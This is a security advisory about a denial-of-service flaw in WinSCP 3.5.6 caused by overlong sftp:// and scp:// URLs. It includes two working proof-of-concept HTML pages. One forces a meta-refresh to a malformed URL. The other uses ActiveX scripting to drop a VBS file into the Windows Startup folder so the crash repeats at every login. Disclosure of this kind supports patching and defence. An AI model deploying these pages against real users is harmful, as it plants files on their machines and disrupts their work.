Package: WinSCP
Auth: http://winscp.sourceforge.net
Version(s): 3.5.6 (maybe also prior versions are vulnerable)
Vulnerability: Denial of Service




What’s WinSCP:

“WinSCP is an open source SFTP (SSH File Transfer Protocol) and
SCP (Secure CoPy) client for Windows using SSH (Secure SHell).
Its main function is safe copying of files between a local and
a remote computer.”



Vulnerability Description:

A default installation of WinSCP provide the user with
functionality to handle sftp:// and scp:// addresses.
The vulnerability exists due to the way the application
handles long URL’s. A malformed scp:// or sftp:// address
embedded in a HTML tag cause the WinSCP application to
exhaust CPU and Memory resources.
The attacker would need the ability to convince the user
to visiting a web site he controlled or opening an HTML
e-mail he had prepared. During the denial of service,
WinSCP will not display any GUI.



Goal:

An attacker may use this flaw to prevent the users of attacked
host from working properly.



Pratical Examples:

------ WinSCP_DoS1.html --------

<HTML>
<HEAD>
<TITLE>WinSCP DoS</TITLE>

<meta http-equiv="Refresh" content="0; URL=sftp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">

</HEAD>
<BODY>
</BODY>
</HTML>

----------------------------------


-------- WinSCP_DoS2.html -------

<html>
<head>
<title>WinSCP DoS</title>

&lt;script language="JScript">

var WshShell = new ActiveXObject("WScript.Shell");
strSU = WshShell.SpecialFolders("StartUp");

var fso = new ActiveXObject("Scripting.FileSystemObject");
var vibas = fso.CreateTextFile(strSU + "\\WinSCPDoS.vbs",true);

vibas.WriteLine("Dim shell");
vibas.WriteLine("Dim quote");
vibas.WriteLine("Dim DoS");
vibas.WriteLine("Dim param");
vibas.WriteLine("DoS = \"C:\\Programmi\\WinSCP3\\WinSCP3.exe\"");
vibas.WriteLine("param = \"scp://AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"");
vibas.WriteLine("set shell = WScript.CreateObject(\"WScript.Shell\")");
vibas.WriteLine("quote = Chr(34)");
vibas.WriteLine("pgm = \"explorer\"");
vibas.WriteLine("shell.Run quote & DoS & quote & \" \" & param");

vibas.Close();

&lt;/script&gt;

</head>
</html>

----------------------------------






Credits:
--

Luca Ercoli <luca.e [at] seeweb.com>
Seeweb http://www.seeweb.com